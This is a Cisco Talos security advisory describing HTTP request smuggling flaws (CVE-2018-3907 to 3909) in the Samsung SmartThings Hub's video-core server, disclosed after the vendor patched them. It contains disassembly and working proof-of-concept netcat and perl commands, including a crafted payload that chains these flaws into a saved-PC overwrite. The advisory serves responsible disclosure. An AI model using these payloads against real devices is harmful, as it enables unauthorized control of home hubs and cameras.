CVE-2018-3907, CVE-2018-3908, CVE-2018-3909
Multiple exploitable vulnerabilities exist in the REST parser of video-core
’s HTTP server of the Samsung SmartThings Hub. The video-core
process incorrectly handles pipelined HTTP requests, which allows successive requests to overwrite the previously parsed HTTP method, URL and body. An attacker can send an HTTP request to trigger this vulnerability.
Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17
https://www.smartthings.com/products/smartthings-hub
9.1 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWE-444: Inconsistent Interpretation of HTTP Requests (‘HTTP Request Smuggling’)
Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.
The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore
process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.
One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they’re both in the same subnetwork.
Inside the hub, the livestream is handled by the video-core
process, which uses ffmpeg
to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.
The remote SmartThings servers have the possibility to communicate with the video-core
process by sending messages in the persistent TLS connection, established by the hubCore
process. These messages can encapsulate an HTTP request, which hubCore
would relay directly to the HTTP server exposed by video-core
. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.
The HTTP server implementation in video-core
is based on http-parser
. The usage of http-parser
is explained in the project’s “readme”, and essentially allows for an HTTP server to be implemented using the following steps:
1. Create an `http_parser` object and call `http_parser_init()`.
2. Create an `http_parser_settings` object and configure any required callback. For example, the `on_url` function is called right after the URL component of the request is parsed.
3. Bind to any port and read an arbitrarily-long message (the client's HTTP request).
4. Send the message and the `http_parser_settings` object to `http_parser_execute()`, which takes care of parsing the request and calling the necessary callbacks.
5. If the function doesn't return any parsing error, execute any logic based on the parsed data.
The http-parser
library supports both chunked and pipelined requests. Because of this, the callbacks may be invoked multiple times during a single http_parser_execute()
call.
The callbacks defined by video-core
are:
- `on_url`: called when a URL is parsed.
- `on_body`: called when an HTTP body is parsed.
- `on_message_complete`: called when the current HTTP request is complete.
The callbacks, as defined by video-core
, correctly support chunked requests. However, they incorrectly handle pipelined requests, as they don’t have the concept of multiple HTTP requests over a unique connection.
The following is the implementation of the on_url
callback, defined by sub_41618
:
.text:00041618 sub_41618
.text:00041618
.text:00041618 var_1F8= -0x1F8
.text:00041618 var_1F4= -0x1F4
.text:00041618 s = -0x1F0
.text:00041618
.text:00041618 000 STMFD SP!, {R4-R6,LR}
.text:0004161C 010 MOV R5, R2
.text:00041620 010 LDR R4, [R0,#http_parser.data]
.text:00041624 010 SUB SP, SP, #0x1E8
.text:00041628 1F8 LDR R0, [R4,#0x24]
.text:0004162C 1F8 ADD R3, R2, R0 ; [1]
.text:00041630 1F8 CMP R3, #0x200 ; [2]
.text:00041634 1F8 BCC loc_41658
...
.text:00041658 loc_41658
.text:00041658 1F8 ADD R0, R4, R0
.text:0004165C 1F8 MOV R6, #0
.text:00041660 1F8 ADD R0, R0, #0x2C
.text:00041664 1F8 BL memcpy ; [3]
.text:00041668 1F8 MOV R3, #:lower16:debug_log
.text:0004166C 1F8 LDR R1, [R4,#0x24]
.text:00041670 1F8 MOVT R3, #:upper16:debug_log
.text:00041674 1F8 LDR R2, [R3]
.text:00041678 1F8 ADD R5, R5, R1
.text:0004167C 1F8 ADD R3, R4, R5
.text:00041680 1F8 STR R5, [R4,#0x24] ; [4]
.text:00041684 1F8 CMP R2, #3
.text:00041688 1F8 STRB R6, [R3,#0x2C]
.text:0004168C 1F8 BHI loc_416EC
.text:00041690 1F8 MOV R0, R6
.text:00041694
.text:00041694 loc_41694
.text:00041694 1F8 ADD SP, SP, #0x1E8
.text:00041698 010 LDMFD SP!, {R4-R6,PC}
The callback receives three arguments, in order:
- `http_parser` object
- string pointing to the `url` portion
- length of the `url` string
At [1], the current length of the parsed url
string is extracted from the structure stored in http_parser.data
, and at [2], the function ensures that the final url
has a maximum length of 512 characters.
At [3], the url
portion received as second parameter is concatenated to the current url
. Finally, at [4], the length is updated in the global structure.
When pipelined HTTP requests are present, this callback will be called multiple times and the same url
buffer will be updated, causing successive request to interfere with each other.
The following proof of concept shows how to perform one unique HTTP request by concatenating the paths of two different requests:
$ echo -e "GET /req1 HTTP/1.1\r\n\r\nGET /req2\r\n\r\n" | nc 127.0.0.1 3000
By looking at the hub’s logs, we can see that the parsed request is “GET /req1/req2”, rather than two different HTTP requests.
# grep " REST " /var/log/videoCoreLog | tail -n 2
[... #1325 REST videoCoreREST.c:374] handling request GET /req1/req2
[... #1325 REST httpMethod.c:151] http response 404 size=67 for GET /req1/req2
Note that http-parser
imposes restrictions on the URI format, specifically when the URI just includes a path, this must start with either “*” or “/”, otherwise an error is thrown and the parsing is interrupted.
The following is the implementation of the on_body
callback, defined by sub_41734
:
.text:00041734 sub_41734
.text:00041734
.text:00041734 var_1F8= -0x1F8
.text:00041734 var_1F4= -0x1F4
.text:00041734 s = -0x1F0
.text:00041734
.text:00041734 000 STMFD SP!, {R4-R6,LR}
.text:00041738 010 MOV R5, R2
.text:0004173C 010 LDR R4, [R0,#http_parser.data]
.text:00041740 010 SUB SP, SP, #0x1E8
.text:00041744 1F8 LDR R0, [R4,#0x28]
.text:00041748 1F8 ADD R3, R2, R0 ; [1]
.text:0004174C 1F8 CMP R3, #0x1C00 ; [2]
.text:00041750 1F8 BCC loc_41774
...
.text:00041774 loc_41774
.text:00041774 1F8 ADD R0, R4, R0
.text:00041778 1F8 MOV R6, #0
.text:0004177C 1F8 ADD R0, R0, #0x22C
.text:00041780 1F8 BL memcpy ; [3]
.text:00041784 1F8 MOV R3, #:lower16:debug_log
.text:00041788 1F8 LDR R1, [R4,#0x28]
.text:0004178C 1F8 MOVT R3, #:upper16:debug_log
.text:00041790 1F8 LDR R2, [R3]
.text:00041794 1F8 ADD R5, R5, R1
.text:00041798 1F8 ADD R3, R4, R5
.text:0004179C 1F8 STR R5, [R4,#0x28] ; [4]
.text:000417A0 1F8 CMP R2, #3
.text:000417A4 1F8 STRB R6, [R3,#0x22C]
.text:000417A8 1F8 BHI loc_41808
.text:000417AC 1F8 MOV R0, R6
.text:000417B0
.text:000417B0 loc_417B0
.text:000417B0 1F8 ADD SP, SP, #0x1E8
.text:000417B4 010 LDMFD SP!, {R4-R6,PC}
The implementation is similar to the on_url
callback, except for the maximum size of the body component [2].
The following proof of concept shows how to perform one unique HTTP request, specifying the path in the first request, and the body in the second:
# assume that we have a camera with id 00000000-0000-0000-0000-000000000001, and notice the "url" is "A".
$ curl -X GET http://127.0.0.1:3000/cameras/00000000-0000-0000-0000-000000000001
{"status":"success","data":{"cameraId":"00000000-0000-0000-0000-000000000001","locationId":"00000000-0000-0000-0000-000000000000","dni":"000000000000","url":"A"}}
# change the url to "B"
$ echo -e "PATCH /cameras HTTP/1.1\r\n\r\nPATCH /00000000-0000-0000-0000-000000000001\r\nContent-Length: 22\r\n\r\n{\"url\":\"B\",\"state\":\"\"}" | nc 127.0.0.1 3000
HTTP/1.1 200 OK
Server: Video-Core
Date: Wed, 11 Apr 2018 14:53:28 GMT
X-ST-Application: Video-Core
X-ST-Version: 1.5.3
Connection: close
Content-Length: 319
Content-Type: application/json
{ "status": "Updated", "camera": { "cameraId": "00000000-0000-0000-0000-000000000001", "locationId": "00000000-0000-0000-0000-000000000000", "dni": "000000000000", "url": "B", "state": "", "status": "unavailable", "statusMessage": "" } }
As we can see, the “url” field of the camera has been changed to “B”, by specifying the body part of the first HTTP request in the second HTTP request.
The following is the implementation of the on_message_complete
callback, defined by sub_415F4
:
.text:000415F4 sub_415F4
.text:000415F4 000 LDR R3, [R0,#http_parser.data]
.text:000415F8 000 MOV R2, R0
.text:000415FC 000 LDRB R12, [R2,#http_parser.method]
.text:00041600 000 MOV R1, #1
.text:00041604 000 MOV R0, #0
.text:00041608 000 ADD R2, R3, #0x1000
.text:0004160C 000 STR R12, [R3,#0x20] ; [5]
.text:00041610 000 STR R1, [R2,#0xE2C]
.text:00041614 000 BX LR
This function is called every time http-parser
detects the end of an HTTP request. For example, if two HTTP requests are present in the buffer, this function will be called two times.
At [5] the “method” field of a custom structure, defined by video-core
, is updated.
When pipelined HTTP requests are present, the last request will overwrite the “method” field last, so all previous methods will be discarded.
The following proof of concept shows how to perform one unique HTTP request, using the second request for changing the method specified by the first one:
$ echo -e "PUT /cameras HTTP/1.1\r\n\r\nGET /00000000-0000-0000-0000-000000000001\r\n\r\n" | nc 127.0.0.1 3000
HTTP/1.1 200 OK
Server: Video-Core
Date: Wed, 11 Apr 2018 15:10:21 GMT
X-ST-Application: Video-Core
X-ST-Version: 1.5.3
Connection: close
Content-Length: 162
Content-Type: application/json
Content-Location: /dev/000000000000
{"status":"success","data":{"cameraId":"00000000-0000-0000-0000-000000000001","locationId":"00000000-0000-0000-0000-000000000000","dni":"000000000000","url":"A"}}
By looking at the hub’s logs, we can see that the parsed request is “GET /cameras/00000000-0000-0000-0000-000000000001”, rather than “PUT /cameras/00000000-0000-0000-0000-000000000001”.
# grep " REST " /var/log/videoCoreLog | tail -n 2
[... #1325 REST videoCoreREST.c:374] handling request GET /cameras/00000000-0000-0000-0000-000000000001
[... #1325 REST httpMethod.c:151] http response 200 size=162 for GET /cameras/00000000-0000-0000-0000-000000000001
The following proof of concept shows how to use the three vulnerabilities above in order to trigger an additional vulnerability described in TALOS-2018-0573, which will overwrite the saved-PC with 0x41414141.
$ (perl -e 'print "DELETE /cameras/ HTTP/1.1\r\nContent-Length: 6904\r\n\r\n{\"cameraId\":\"x\",\"locationId\":\"x\",\"dni\":\"x\",\"url\":\"","X"x6740,"AAAABBBB","\x55\x55\x8a\x75","C"x100,"\"}\r\n\r\nPUT *\r\n\r\n"') | nc -vv 127.0.0.1 3000
Moreover, we verified that the same could be applied to the buffer overflow in TALOS-2018-0570 and the SQL injection in TALOS-2018-0556 (when used on the “/clips” path), however with the requirement of knowing at least an existing “cameraId”.
Finally, note that the three vulnerabilities in this report provide a different way of exploiting bugs in video-core
, and could give mainly two advantages to an attacker:
- Can be used to evade attacks identification, by splitting HTTP components in multiple requests.
- Can be further chained with TALOS-2018-0578 to achieve arbitrary code execution without authentication.
2018-04-19 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.